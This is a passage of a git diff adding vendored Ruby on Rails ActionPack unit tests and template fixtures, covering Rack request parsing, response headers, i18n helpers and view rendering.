"/home/kevinc/sites/typo/public/homepage/", @request.path_translated + assert_equal "", @request.query_string + assert_equal "207.7.108.53", @request.remote_addr + assert_equal "google.com", @request.remote_host + assert_equal "kevin", @request.remote_ident + assert_equal "kevin", @request.remote_user + assert_equal :get, @request.request_method + assert_equal "/dispatch.fcgi", @request.script_name + assert_equal "glu.ttono.us:8007", @request.server_name + assert_equal 8007, @request.server_port + assert_equal "HTTP/1.1", @request.server_protocol + assert_equal "lighttpd", @request.server_software + end + + def test_cookie_syntax_resilience + cookies = @request.cookies + assert_equal ["c84ace84796670c052c6ceb2451fb0f2"], cookies["_session_id"], cookies.inspect + assert_equal ["yes"], cookies["is_admin"], cookies.inspect + + alt_cookies = @alt_cookie_fmt_request.cookies + assert_equal ["c84ace847,96670c052c6ceb2451fb0f2"], alt_cookies["_session_id"], alt_cookies.inspect + assert_equal ["yes"], alt_cookies["is_admin"], alt_cookies.inspect + end +end + +class RackRequestParamsParsingTest < BaseRackTest + def test_doesnt_break_when_content_type_has_charset + set_content_data 'flamenco=love' + + assert_equal({"flamenco"=> "love"}, @request.request_parameters) + end + + def test_doesnt_interpret_request_uri_as_query_string_when_missing + @request.env['REQUEST_URI'] = 'foo' + assert_equal({}, @request.query_parameters) + end +end + +class RackRequestContentTypeTest < BaseRackTest + def test_html_content_type_verification + @request.env['CONTENT_TYPE'] = Mime::HTML.to_s + assert @request.content_type.verify_request? + end + + def test_xml_content_type_verification + @request.env['CONTENT_TYPE'] = Mime::XML.to_s + assert !@request.content_type.verify_request? + end +end + +class RackRequestMethodTest < BaseRackTest + def test_get + assert_equal :get, @request.request_method + end + + def test_post + @request.env['REQUEST_METHOD'] = 'POST' + assert_equal :post, @request.request_method + end + + def test_put + set_content_data '_method=put' + + assert_equal :put, @request.request_method + end + + def test_delete + set_content_data '_method=delete' + + assert_equal :delete, @request.request_method + end +end + +class RackRequestNeedsRewoundTest < BaseRackTest + def test_body_should_be_rewound + data = 'foo' + @env['rack.input'] = StringIO.new(data) + @env['CONTENT_LENGTH'] = data.length + @env['CONTENT_TYPE'] = 'application/x-www-form-urlencoded; charset=utf-8' + + # Read the request body by parsing params. + request = ActionController::RackRequest.new(@env) + request.request_parameters + + # Should have rewound the body. + assert_equal 0, request.body.pos + end +end + +class RackResponseTest < BaseRackTest + def setup + super + @response = ActionController::RackResponse.new(@request) + @output = StringIO.new('') + end + + def test_simple_output + @response.body = "Hello, World!" + @response.prepare! + + status, headers, body = @response.out(@output) + assert_equal "200 OK", status + assert_equal({ + "Content-Type" => "text/html; charset=utf-8", + "Cache-Control" => "private, max-age=0, must-revalidate", + "ETag" => '"65a8e27d8879283831b664bd8b7f0ad4"', + "Set-Cookie" => [], + "Content-Length" => "13" + }, headers) + + parts = [] + body.each { |part| parts << part } + assert_equal ["Hello, World!"], parts + end + + def test_streaming_block + @response.body = Proc.new do |response, output| + 5.times { |n| output.write(n) } + end + @response.prepare! + + status, headers, body = @response.out(@output) + assert_equal "200 OK", status + assert_equal({"Content-Type" => "text/html; charset=utf-8", "Cache-Control" => "no-cache", "Set-Cookie" => []}, headers) + + parts = [] + body.each { |part| parts << part } + assert_equal ["0", "1", "2", "3", "4"], parts + end + + def test_set_session_cookie + cookie = CGI::Cookie.new({"name" => "name", "value" => "Josh"}) + @request.cgi.send :instance_variable_set, '@output_cookies', [cookie] + + @response.body = "Hello, World!" + @response.prepare! + + status, headers, body = @response.out(@output) + assert_equal "200 OK", status + assert_equal({ + "Content-Type" => "text/html; charset=utf-8", + "Cache-Control" => "private, max-age=0, must-revalidate", + "ETag" => '"65a8e27d8879283831b664bd8b7f0ad4"', + "Set-Cookie" => ["name=Josh; path="], + "Content-Length" => "13" + }, headers) + + parts = [] + body.each { |part| parts << part } + assert_equal ["Hello, World!"], parts + end +end + +class RackResponseHeadersTest < BaseRackTest + def setup + super + @response = ActionController::RackResponse.new(@request) + @output = StringIO.new('') + @response.headers['Status'] = "200 OK" + end + + def test_content_type + [204, 304].each do |c| + @response.headers['Status'] = c.to_s + assert !response_headers.has_key?("Content-Type"), "#{c} should not have Content-Type header" + end + + [200, 302, 404, 500].each do |c| + @response.headers['Status'] = c.to_s + assert response_headers.has_key?("Content-Type"), "#{c} did not have Content-Type header" + end + end + + def test_status + assert !response_headers.has_key?('Status') + end + + private + def response_headers + @response.prepare! + @response.out(@output)[1] + end +end diff --git a/vendor/rails/actionpack/test/controller/translation_test.rb b/vendor/rails/actionpack/test/controller/translation_test.rb new file mode 100644 index 00000000..0bf61a65 --- /dev/null +++ b/vendor/rails/actionpack/test/controller/translation_test.rb @@ -0,0 +1,26 @@ +require 'abstract_unit' + +# class TranslatingController < ActionController::Base +# end + +class TranslationControllerTest < Test::Unit::TestCase + def setup + @controller = ActionController::Base.new + end + + def test_action_controller_base_responds_to_translate + assert @controller.respond_to?(:translate) + end + + def test_action_controller_base_responds_to_t + assert @controller.respond_to?(:t) + end + + def test_action_controller_base_responds_to_localize + assert @controller.respond_to?(:localize) + end + + def test_action_controller_base_responds_to_l + assert @controller.respond_to?(:l) + end +end \ No newline at end of file diff --git a/vendor/rails/actionpack/test/fixtures/_top_level_partial.html.erb b/vendor/rails/actionpack/test/fixtures/_top_level_partial.html.erb new file mode 100644 index 00000000..0b1c2e46 --- /dev/null +++ b/vendor/rails/actionpack/test/fixtures/_top_level_partial.html.erb @@ -0,0 +1 @@ +top level partial html \ No newline at end of file diff --git a/vendor/rails/actionpack/test/fixtures/_top_level_partial_only.erb b/vendor/rails/actionpack/test/fixtures/_top_level_partial_only.erb new file mode 100644 index 00000000..44f25b61 --- /dev/null +++ b/vendor/rails/actionpack/test/fixtures/_top_level_partial_only.erb @@ -0,0 +1 @@ +top level partial \ No newline at end of file diff --git a/vendor/rails/actionpack/test/fixtures/developers/_developer.erb b/vendor/rails/actionpack/test/fixtures/developers/_developer.erb new file mode 100644 index 00000000..904a3137 --- /dev/null +++ b/vendor/rails/actionpack/test/fixtures/developers/_developer.erb @@ -0,0 +1 @@ +<%= developer.name %> \ No newline at end of file diff --git a/vendor/rails/actionpack/test/fixtures/fun/games/_game.erb b/vendor/rails/actionpack/test/fixtures/fun/games/_game.erb new file mode 100644 index 00000000..d51b7b3e --- /dev/null +++ b/vendor/rails/actionpack/test/fixtures/fun/games/_game.erb @@ -0,0 +1 @@ +<%= game.name %> \ No newline at end of file diff --git a/vendor/rails/actionpack/test/fixtures/fun/serious/games/_game.erb b/vendor/rails/actionpack/test/fixtures/fun/serious/games/_game.erb new file mode 100644 index 00000000..d51b7b3e --- /dev/null +++ b/vendor/rails/actionpack/test/fixtures/fun/serious/games/_game.erb @@ -0,0 +1 @@ +<%= game.name %> \ No newline at end of file diff --git a/vendor/rails/actionpack/test/fixtures/functional_caching/formatted_fragment_cached.html.erb b/vendor/rails/actionpack/test/fixtures/functional_caching/formatted_fragment_cached.html.erb new file mode 100644 index 00000000..d7f43ad9 --- /dev/null +++ b/vendor/rails/actionpack/test/fixtures/functional_caching/formatted_fragment_cached.html.erb @@ -0,0 +1,3 @@ + +<% cache do %>

ERB

<% end %> + \ No newline at end of file diff --git a/vendor/rails/actionpack/test/fixtures/functional_caching/formatted_fragment_cached.js.rjs b/vendor/rails/actionpack/test/fixtures/functional_caching/formatted_fragment_cached.js.rjs new file mode 100644 index 00000000..057f15e6 --- /dev/null +++ b/vendor/rails/actionpack/test/fixtures/functional_caching/formatted_fragment_cached.js.rjs @@ -0,0 +1,6 @@ +page.assign 'title', 'Hey' +cache do + page['element_1'].visual_effect :highlight + page['element_2'].visual_effect :highlight +end +page.assign 'footer', 'Bye' diff --git a/vendor/rails/actionpack/test/fixtures/functional_caching/formatted_fragment_cached.xml.builder b/vendor/rails/actionpack/test/fixtures/functional_caching/formatted_fragment_cached.xml.builder new file mode 100644 index 00000000..efdcc28e --- /dev/null +++ b/vendor/rails/actionpack/test/fixtures/functional_caching/formatted_fragment_cached.xml.builder @@ -0,0 +1,5 @@ +xml.body do + cache do + xml.p "Builder" + end +end diff --git a/vendor/rails/actionpack/test/fixtures/functional_caching/inline_fragment_cached.html.erb b/vendor/rails/actionpack/test/fixtures/functional_caching/inline_fragment_cached.html.erb new file mode 100644 index 00000000..87309b8c --- /dev/null +++ b/vendor/rails/actionpack/test/fixtures/functional_caching/inline_fragment_cached.html.erb @@ -0,0 +1,2 @@ +<%= render :inline => 'Some inline content' %> +<% cache do %>Some cached content<% end %> diff --git a/vendor/rails/actionpack/test/fixtures/layouts/_column.html.erb b/vendor/rails/actionpack/test/fixtures/layouts/_column.html.erb new file mode 100644 index 00000000..96db002b --- /dev/null +++ b/vendor/rails/actionpack/test/fixtures/layouts/_column.html.erb @@ -0,0 +1,2 @@ +
<%= yield :column %>
+
<%= yield %>
\ No newline at end of file diff --git a/vendor/rails/actionpack/test/fixtures/projects/_project.erb b/vendor/rails/actionpack/test/fixtures/projects/_project.erb new file mode 100644 index 00000000..480c4c2a --- /dev/null +++ b/vendor/rails/actionpack/test/fixtures/projects/_project.erb @@ -0,0 +1 @@ +<%= project.name %> \ No newline at end of file diff --git a/vendor/rails/actionpack/test/fixtures/public/javascripts/subdir/subdir.js b/vendor/rails/actionpack/test/fixtures/public/javascripts/subdir/subdir.js new file mode 100644 index 00000000..9d23a67a --- /dev/null +++ b/vendor/rails/actionpack/test/fixtures/public/javascripts/subdir/subdir.js @@ -0,0 +1 @@ +// subdir js diff --git a/vendor/rails/actionpack/test/fixtures/public/stylesheets/subdir/subdir.css b/vendor/rails/actionpack/test/fixtures/public/stylesheets/subdir/subdir.css new file mode 100644 index 00000000..241152a9 --- /dev/null +++ b/vendor/rails/actionpack/test/fixtures/public/stylesheets/subdir/subdir.css @@ -0,0 +1 @@ +/* subdir.css */ diff --git a/vendor/rails/actionpack/test/fixtures/replies/_reply.erb b/vendor/rails/actionpack/test/fixtures/replies/_reply.erb new file mode 100644 index 00000000..68baf548 --- /dev/null +++ b/vendor/rails/actionpack/test/fixtures/replies/_reply.erb @@ -0,0 +1 @@ +<%= reply.content %> \ No newline at end of file diff --git a/vendor/rails/actionpack/test/fixtures/test/_counter.html.erb b/vendor/rails/actionpack/test/fixtures/test/_counter.html.erb new file mode 100644 index 00000000..fd245bfc --- /dev/null +++ b/vendor/rails/actionpack/test/fixtures/test/_counter.html.erb @@ -0,0 +1 @@ +<%= counter_counter %> \ No newline at end of file diff --git a/vendor/rails/actionpack/test/fixtures/test/_customer_with_var.erb b/vendor/rails/actionpack/test/fixtures/test/_customer_with_var.erb new file mode 100644 index 00000000..3379246b --- /dev/null +++ b/vendor/rails/actionpack/test/fixtures/test/_customer_with_var.erb @@ -0,0 +1 @@ +<%= customer.name %> <%= object.name %> <%= customer_with_var.name %> \ No newline at end of file diff --git a/vendor/rails/actionpack/test/fixtures/test/_layout_for_block_with_args.html.erb b/vendor/rails/actionpack/test/fixtures/test/_layout_for_block_with_args.html.erb new file mode 100644 index 00000000..30753320 --- /dev/null +++ b/vendor/rails/actionpack/test/fixtures/test/_layout_for_block_with_args.html.erb @@ -0,0 +1,3 @@ +Before +<%= yield 'arg1', 'arg2' %> +After \ No newline at end of file diff --git a/vendor/rails/actionpack/test/fixtures/test/_local_inspector.html.erb b/vendor/rails/actionpack/test/fixtures/test/_local_inspector.html.erb new file mode 100644 index 00000000..c5a6e3e5 --- /dev/null +++ b/vendor/rails/actionpack/test/fixtures/test/_local_inspector.html.erb @@ -0,0 +1 @@ +<%= local_assigns.keys.map(&:to_s).sort.join(",") -%> \ No newline at end of file diff --git a/vendor/rails/actionpack/test/fixtures/test/_partial_with_only_html_version.html.erb b/vendor/rails/actionpack/test/fixtures/test/_partial_with_only_html_version.html.erb new file mode 100644 index 00000000..00e6b6d6 --- /dev/null +++ b/vendor/rails/actionpack/test/fixtures/test/_partial_with_only_html_version.html.erb @@ -0,0 +1 @@ +partial with only html version \ No newline at end of file diff --git a/vendor/rails/actionpack/test/fixtures/test/hyphen-ated.erb b/vendor/rails/actionpack/test/fixtures/test/hyphen-ated.erb new file mode 100644 index 00000000..cd087558 --- /dev/null +++ b/vendor/rails/actionpack/test/fixtures/test/hyphen-ated.erb @@ -0,0 +1 @@ +Hello world! diff --git a/vendor/rails/actionpack/test/fixtures/test/implicit_content_type.atom.builder b/vendor/rails/actionpack/test/fixtures/test/implicit_content_type.atom.builder new file mode 100644 index 00000000..2fcb32d2 --- /dev/null +++ b/vendor/rails/actionpack/test/fixtures/test/implicit_content_type.atom.builder @@ -0,0 +1,2 @@ +xml.atom do +end diff --git a/vendor/rails/actionpack/test/fixtures/test/nested_layout.erb b/vendor/rails/actionpack/test/fixtures/test/nested_layout.erb new file mode 100644 index 00000000..7b6dcbb6 --- /dev/null +++ b/vendor/rails/actionpack/test/fixtures/test/nested_layout.erb @@ -0,0 +1,3 @@ +<% content_for :title, "title" -%> +<% content_for :column do -%>column<% end -%> +<% render :layout => 'layouts/column' do -%>content<% end -%> \ No newline at end of file diff --git a/vendor/rails/actionpack/test/fixtures/test/sub_template_raise.html.erb b/vendor/rails/actionpack/test/fixtures/test/sub_template_raise.html.erb new file mode 100644 index 00000000..f38c0bda --- /dev/null +++ b/vendor/rails/actionpack/test/fixtures/test/sub_template_raise.html.erb @@ -0,0 +1 @@ +<%= render :partial => "test/raise" %> \ No newline at end of file diff --git a/vendor/rails/actionpack/test/fixtures/test/template.erb b/vendor/rails/actionpack/test/fixtures/test/template.erb new file mode 100644 index 00000000..785afa8f --- /dev/null +++ b/vendor/rails/actionpack/test/fixtures/test/template.erb @@ -0,0 +1 @@ +<%= template.path %> \ No newline at end of file diff --git a/vendor/rails/actionpack/test/fixtures/test/using_layout_around_block_with_args.html.erb b/vendor/rails/actionpack/test/fixtures/test/using_layout_around_block_with_args.html.erb new file mode 100644 index 00000000..71b1f30a --- /dev/null +++ b/vendor/rails/actionpack/test/fixtures/test/using_layout_around_block_with_args.html.erb @@ -0,0 +1 @@ +<% render(:layout => "layout_for_block_with_args") do |*args| %><%= args.join %><% end %> \ No newline at end of file diff --git a/vendor/rails/actionpack/test/template/active_record_helper_i18n_test.rb b/vendor/rails/actionpack/test/template/active_record_helper_i18n_test.rb new file mode 100644 index 00000000..7e6bf707 --- /dev/null +++ b/vendor/rails/actionpack/test/template/active_record_helper_i18n_test.rb @@ -0,0 +1,46 @@ +require 'abstract_unit' + +class ActiveRecordHelperI18nTest < Test::Unit::TestCase + include ActionView::Helpers::ActiveRecordHelper + + attr_reader :request + uses_mocha 'active_record_helper_i18n_test' do + def setup + @object = stub :errors => stub(:count => 1, :full_messages => ['full_messages']) + @object_name = 'book' + stubs(:content_tag).returns 'content_tag' + + I18n.stubs(:t).with(:'header', :locale => 'en', :scope => [:activerecord, :errors, :template], :count => 1, :model => '').returns "1 error prohibited this from being saved" + I18n.stubs(:t).with(:'body', :locale => 'en', :scope => [:activerecord, :errors, :template]).returns 'There were problems with the following fields:' + end + + def test_error_messages_for_given_a_header_option_it_does_not_translate_header_message + I18n.expects(:translate).with(:'header', :locale => 'en', :scope => [:activerecord, :errors, :template], :count => 1, :model => '').never + error_messages_for(:object => @object, :header_message => 'header message', :locale => 'en') + end + + def test_error_messages_for_given_no_header_option_it_translates_header_message + I18n.expects(:t).with(:'header', :locale => 'en', :scope => [:activerecord, :errors, :template], :count => 1, :model => '').returns 'header message' + I18n.expects(:t).with('', :default => '', :count => 1, :scope => [:activerecord, :models]).once.returns '' + error_messages_for(:object => @object, :locale => 'en') + end + + def test_error_messages_for_given_a_message_option_it_does_not_translate_message + I18n.expects(:t).with(:'body', :locale => 'en', :scope => [:activerecord, :errors, :template]).never + I18n.expects(:t).with('', :default => '', :count => 1, :scope => [:activerecord, :models]).once.returns '' + error_messages_for(:object => @object, :message => 'message', :locale => 'en') + end + + def test_error_messages_for_given_no_message_option_it_translates_message + I18n.expects(:t).with(:'body', :locale => 'en', :scope => [:activerecord, :errors, :template]).returns 'There were problems with the following fields:' + I18n.expects(:t).with('', :default => '', :count => 1, :scope => [:activerecord, :models]).once.returns '' + error_messages_for(:object => @object, :locale => 'en') + end + + def test_error_messages_for_given_object_name_it_translates_object_name + I18n.expects(:t).with(:header, :locale => 'en', :scope => [:activerecord, :errors, :template], :count => 1, :model => @object_name).returns "1 error prohibited this #{@object_name} from being saved" + I18n.expects(:t).with(@object_name, :default => @object_name, :count => 1, :scope => [:activerecord, :models]).once.returns @object_name + error_messages_for(:object => @object, :locale => 'en', :object_name => @object_name) + end + end +end diff --git a/vendor/rails/actionpack/test/template/compiled_templates_test.rb b/vendor/rails/actionpack/test/template/compiled_templates_test.rb new file mode 100644 index 00000000..b25e7cfc --- /dev/null +++ b/vendor/rails/actionpack/test/template/compiled_templates_test.rb @@ -0,0 +1,59 @@ +require 'abstract_unit' +require 'controller/fake_models' + +uses_mocha 'TestTemplateRecompilation' do + class CompiledTemplatesTest < Test::Unit::TestCase + def setup + @compiled_templates = ActionView::Base::CompiledTemplates + @compiled_templates.instance_methods.each do |m| + @compiled_templates.send(:remove_method, m) if m =~ /^_run_/ + end + end + + def test_template_gets_compiled + assert_equal 0, @compiled_templates.instance_methods.size + assert_deprecated do + assert_equal "Hello world!", render("test/hello_world.erb") + end + assert_equal 1, @compiled_templates.instance_methods.size + end + + def test_template_gets_recompiled_when_using_different_keys_in_local_assigns + assert_equal 0, @compiled_templates.instance_methods.size + assert_deprecated do + assert_equal "Hello world!", render("test/hello_world.erb") + assert_equal "Hello world!", render("test/hello_world.erb", {:foo => "bar"}) + end + assert_equal 2, @compiled_templates.instance_methods.size + end + + def test_compiled_template_will_not_be_recompiled_when_rendered_with_identical_local_assigns + assert_equal 0, @compiled_templates.instance_methods.size + assert_deprecated do + assert_equal "Hello world!", render("test/hello_world.erb") + ActionView::Template.any_instance.expects(:compile!).never + assert_equal "Hello world!", render("test/hello_world.erb") + end + end + + def test_compiled_template_will_always_be_recompiled_when_eager_loaded_templates_is_off + ActionView::PathSet::Path.expects(:eager_load_templates?).times(4).returns(false) + assert_equal 0, @compiled_templates.instance_methods.size + + assert_deprecated do + assert_equal "Hello world!", render("#{FIXTURE_LOAD_PATH}/test/hello_world.erb") + end + + ActionView::Template.any_instance.expects(:compile!).times(3) + assert_deprecated do + 3.times { assert_equal "Hello world!", render("#{FIXTURE_LOAD_PATH}/test/hello_world.erb") } + end + assert_equal 1, @compiled_templates.instance_methods.size + end + + private + def render(*args) + ActionView::Base.new(ActionController::Base.view_paths, {}).render(*args) + end + end +end diff --git a/vendor/rails/actionpack/test/template/date_helper_i18n_test.rb b/vendor/rails/actionpack/test/template/date_helper_i18n_test.rb new file mode 100644 index 00000000..dc9616db --- /dev/null +++ b/vendor/rails/actionpack/test/template/date_helper_i18n_test.rb @@ -0,0 +1,113 @@ +require 'abstract_unit' + +class DateHelperDistanceOfTimeInWordsI18nTests < Test::Unit::TestCase + include ActionView::Helpers::DateHelper + attr_reader :request + + def setup + @from = Time.mktime(2004, 6, 6, 21, 45, 0) + end + + uses_mocha 'date_helper_distance_of_time_in_words_i18n_test' do + # distance_of_time_in_words + + def test_distance_of_time_in_words_calls_i18n + { # with include_seconds + [2.seconds, true] => [:'less_than_x_seconds', 5], + [9.seconds, true] => [:'less_than_x_seconds', 10], + [19.seconds, true] => [:'less_than_x_seconds', 20], + [30.seconds, true] => [:'half_a_minute', nil], + [59.seconds, true] => [:'less_than_x_minutes', 1], + [60.seconds, true] => [:'x_minutes', 1], + + # without include_seconds + [29.seconds, false] => [:'less_than_x_minutes', 1], + [60.seconds, false] => [:'x_minutes', 1], + [44.minutes, false] => [:'x_minutes', 44], + [61.minutes, false] => [:'about_x_hours', 1], + [24.hours, false] => [:'x_days', 1], + [30.days, false] => [:'about_x_months', 1], + [60.days, false] => [:'x_months', 2], + [1.year, false] => [:'about_x_years', 1], + [3.years, false] => [:'over_x_years', 3] + + }.each do |passed, expected| + assert_distance_of_time_in_words_translates_key passed, expected + end + end + + def assert_distance_of_time_in_words_translates_key(passed, expected) + diff, include_seconds = *passed + key, count = *expected + to = @from + diff + + options = {:locale => 'en', :scope => :'datetime.distance_in_words'} + options[:count] = count if count + + I18n.expects(:t).with(key, options) + distance_of_time_in_words(@from, to, include_seconds, :locale => 'en') + end + + def test_distance_of_time_pluralizations + { [:'less_than_x_seconds', 1] => 'less than 1 second', + [:'less_than_x_seconds', 2] => 'less than 2 seconds', + [:'less_than_x_minutes', 1] => 'less than a minute', + [:'less_than_x_minutes', 2] => 'less than 2 minutes', + [:'x_minutes', 1] => '1 minute', + [:'x_minutes', 2] => '2 minutes', + [:'about_x_hours', 1] => 'about 1 hour', + [:'about_x_hours', 2] => 'about 2 hours', + [:'x_days', 1] => '1 day', + [:'x_days', 2] => '2 days', + [:'about_x_years', 1] => 'about 1 year', + [:'about_x_years', 2] => 'about 2 years', + [:'over_x_years', 1] => 'over 1 year', + [:'over_x_years', 2] => 'over 2 years' + + }.each do |args, expected| + key, count = *args + assert_equal expected, I18n.t(key, :count => count, :scope => 'datetime.distance_in_words') + end + end + end +end + +class DateHelperSelectTagsI18nTests < Test::Unit::TestCase + include ActionView::Helpers::DateHelper + attr_reader :request + + uses_mocha 'date_helper_select_tags_i18n_tests' do + def setup + I18n.stubs(:translate).with(:'date.month_names', :locale => 'en').returns Date::MONTHNAMES + end + + # select_month + + def test_select_month_given_use_month_names_option_does_not_translate_monthnames + I18n.expects(:translate).never + select_month(8, :locale => 'en', :use_month_names => Date::MONTHNAMES) + end + + def test_select_month_translates_monthnames + I18n.expects(:translate).with(:'date.month_names', :locale => 'en').returns Date::MONTHNAMES + select_month(8, :locale => 'en') + end + + def test_select_month_given_use_short_month_option_translates_abbr_monthnames + I18n.expects(:translate).with(:'date.abbr_month_names', :locale => 'en').returns Date::ABBR_MONTHNAMES + select_month(8, :locale => 'en', :use_short_month => true) + end + + # date_or_time_select + + def test_date_or_time_select_given_an_order_options_does_not_translate_order + I18n.expects(:translate).never + datetime_select('post', 'updated_at', :order => [:year, :month, :day], :locale => 'en') + end + + def test_date_or_time_select_given_no_order_options_translates_order + I18n.expects(:translate).with(:'date.order', :locale => 'en').returns [:year, :month, :day] + datetime_select('post', 'updated_at', :locale => 'en') + end + end +end \ No newline at end of file diff --git a/vendor/rails/actionpack/test/template/number_helper_i18n_test.rb b/vendor/rails/actionpack/test/template/number_helper_i18n_test.rb new file mode 100644 index 00000000..67c61a5f --- /dev/null +++ b/vendor/rails/actionpack/test/template/number_helper_i18n_test.rb @@ -0,0 +1,54 @@ +require 'abstract_unit' + +class NumberHelperI18nTests < Test::Unit::TestCase + include ActionView::Helpers::NumberHelper + + attr_reader :request + + uses_mocha 'number_helper_i18n_tests' do + def setup + @number_defaults = { :precision => 3, :delimiter => ',', :separator => '.' } + @currency_defaults = { :unit => '$', :format => '%u%n', :precision => 2 } + @human_defaults = { :precision => 1 } + @percentage_defaults = { :delimiter => '' } + @precision_defaults = { :delimiter => '' } + + I18n.backend.store_translations 'en', :number => { :format => @number_defaults, + :currency => { :format => @currency_defaults }, :human => @human_defaults } + end + + def test_number_to_currency_translates_currency_formats + I18n.expects(:translate).with(:'number.format', :locale => 'en', :raise => true).returns(@number_defaults) + I18n.expects(:translate).with(:'number.currency.format', :locale => 'en', + :raise => true).returns(@currency_defaults) + number_to_currency(1, :locale => 'en') + end + + def test_number_with_precision_translates_number_formats + I18n.expects(:translate).with(:'number.format', :locale => 'en', :raise => true).returns(@number_defaults) + I18n.expects(:translate).with(:'number.precision.format', :locale => 'en', + :raise => true).returns(@precision_defaults) + number_with_precision(1, :locale => 'en') + end + + def test_number_with_delimiter_translates_number_formats + I18n.expects(:translate).with(:'number.format', :locale => 'en', :raise => true).returns(@number_defaults) + number_with_delimiter(1, :locale => 'en') + end + + def test_number_to_percentage_translates_number_formats + I18n.expects(:translate).with(:'number.format', :locale => 'en', :raise => true).returns(@number_defaults) + I18n.expects(:translate).with(:'number.percentage.format', :locale => 'en', + :raise => true).returns(@percentage_defaults) + number_to_percentage(1, :locale => 'en') + end + + def test_number_to_human_size_translates_human_formats + I18n.expects(:translate).with(:'number.format', :locale => 'en', :raise => true).returns(@number_defaults) + I18n.expects(:translate).with(:'number.human.format', :locale => 'en', + :raise => true).returns(@human_defaults) + # can't be called with 1 because this directly returns without calling I18n.translate + number_to_human_size(1025, :locale => 'en') + end + end +end diff --git a/vendor/rails/actionpack/test/template/render_test.rb b/vendor/rails/actionpack/test/template/render_test.rb new file mode 100644 index 00000000..e904b4a5 --- /dev/null +++ b/vendor/rails/actionpack/test/template/render_test.rb @@ -0,0 +1,193 @@ +require 'abstract_unit' +require 'controller/fake_models' + +class ViewRenderTest < Test::Unit::TestCase + def setup + @assigns = { :secret => 'in the sauce' } + @view = ActionView::Base.new(ActionController::Base.view_paths, @assigns) + end + + def test_render_file + assert_deprecated do + assert_equal "Hello world!", @view.render("test/hello_world.erb") + end + end + + def test_render_file_not_using_full_path + assert_equal "Hello world!", @view.render(:file => "test/hello_world.erb") + end + + def test_render_file_without_specific_extension + assert_deprecated do + assert_equal "Hello world!", @view.render("test/hello_world") + end + end + + def test_render_file_at_top_level + assert_deprecated do + assert_equal 'Elastica', @view.render('/shared') + end + end + + def test_render_file_with_full_path + template_path = File.join(File.dirname(__FILE__), '../fixtures/test/hello_world.erb') + assert_equal "Hello world!", @view.render(:file => template_path) + end + + def test_render_file_with_instance_variables + assert_deprecated do + assert_equal "The secret is in the sauce\n", @view.render("test/render_file_with_ivar.erb") + end + end + + def test_render_file_with_locals + locals = { :secret => 'in the sauce' } + assert_deprecated do + assert_equal "The secret is in the sauce\n", @view.render("test/render_file_with_locals.erb", locals) + end + end + + def test_render_file_not_using_full_path_with_dot_in_path + assert_deprecated do + assert_equal "The secret is in the sauce\n", @view.render("test/dot.directory/render_file_with_ivar") + end + end + + def test_render_has_access_current_template + assert_deprecated do + assert_equal "test/template.erb", @view.render("test/template.erb") + end + end + + def test_render_update + # TODO: You should not have to stub out template because template is self! + @view.instance_variable_set(:@template, @view) + assert_equal 'alert("Hello, World!");', @view.render(:update) { |page| page.alert('Hello, World!') } + end + + def test_render_partial + assert_equal "only partial", @view.render(:partial => "test/partial_only") + end + + def test_render_partial_with_format + assert_equal 'partial html', @view.render(:partial => 'test/partial') + end + + def test_render_partial_at_top_level + # file fixtures/_top_level_partial_only.erb (not fixtures/test) + assert_equal 'top level partial', @view.render(:partial => '/top_level_partial_only') + end + + def test_render_partial_with_format_at_top_level + # file fixtures/_top_level_partial.html.erb (not fixtures/test, with format extension) + assert_equal 'top level partial html', @view.render(:partial => '/top_level_partial') + end + + def test_render_partial_with_locals + assert_equal "5", @view.render(:partial => "test/counter", :locals => { :counter_counter => 5 }) + end + + def test_render_partial_with_errors + @view.render(:partial => "test/raise") + flunk "Render did not raise TemplateError" + rescue ActionView::TemplateError => e + assert_match "undefined local variable or method `doesnt_exist'", e.message + assert_equal "", e.sub_template_message + assert_equal "1", e.line_number + assert_equal File.expand_path("#{FIXTURE_LOAD_PATH}/test/_raise.html.erb"), e.file_name + end + + def test_render_sub_template_with_errors + @view.render(:file => "test/sub_template_raise") + flunk "Render did not raise TemplateError" + rescue ActionView::TemplateError => e + assert_match "undefined local variable or method `doesnt_exist'", e.message + assert_equal "Trace of template inclusion: #{File.expand_path("#{FIXTURE_LOAD_PATH}/test/sub_template_raise.html.erb")}", e.sub_template_message + assert_equal "1", e.line_number + assert_equal File.expand_path("#{FIXTURE_LOAD_PATH}/test/_raise.html.erb"), e.file_name + end + + def test_render_partial_collection + assert_equal "Hello: davidHello: mary", @view.render(:partial => "test/customer", :collection => [ Customer.new("david"), Customer.new("mary") ]) + end + + def test_render_partial_collection_as + assert_equal "david david davidmary mary mary", + @view.render(:partial => "test/customer_with_var", :collection => [ Customer.new("david"), Customer.new("mary") ], :as => :customer) + end + + def test_render_partial_collection_without_as + assert_equal "local_inspector,local_inspector_counter,object", + @view.render(:partial => "test/local_inspector", :collection => [ Customer.new("mary") ]) + end + + def test_render_partial_with_empty_collection_should_return_nil + assert_nil @view.render(:partial => "test/customer", :collection => []) + end + + def test_render_partial_with_nil_collection_should_return_nil + assert_nil @view.render(:partial => "test/customer", :collection => nil) + end + + def test_render_partial_with_nil_values_in_collection + assert_equal "Hello: davidHello: Anonymous", @view.render(:partial => "test/customer", :collection => [ Customer.new("david"), nil ]) + end + + def test_render_partial_with_empty_array_should_return_nil + assert_nil @view.render(:partial => []) + end + + # TODO: The reason for this test is unclear, improve documentation + def test_render_partial_and_fallback_to_layout + assert_equal "Before (Josh)\n\nAfter", @view.render(:partial => "test/layout_for_partial", :locals => { :name => "Josh" }) + end + + # TODO: The reason for this test is unclear, improve documentation + def test_render_js_partial_and_fallback_to_erb_layout + @view.template_format = :js + assert_equal "Before (Josh)\n\nAfter", @view.render(:partial => "test/layout_for_partial", :locals => { :name => "Josh" }) + end + + # TODO: The reason for this test is unclear, improve documentation + def test_render_missing_xml_partial_and_raise_missing_template + @view.template_format = :xml + assert_raise(ActionView::MissingTemplate) { @view.render(:partial => "test/layout_for_partial") } + end + + def test_render_inline + assert_equal "Hello, World!", @view.render(:inline => "Hello, World!") + end + + def test_render_inline_with_locals + assert_equal "Hello, Josh!", @view.render(:inline => "Hello, <%= name %>!", :locals => { :name => "Josh" }) + end + + def test_render_fallbacks_to_erb_for_unknown_types + assert_equal "Hello, World!", @view.render(:inline => "Hello, World!", :type => :foo) + end + + CustomHandler = lambda do |template| + "@output_buffer = ''\n" + + "@output_buffer << 'source: #{template.source.inspect}'\n" + end + + def test_render_inline_with_compilable_custom_type + ActionView::Template.register_template_handler :foo, CustomHandler + assert_equal 'source: "Hello, World!"', @view.render(:inline => "Hello, World!", :type => :foo) + end + + def test_render_inline_with_locals_and_compilable_custom_type + 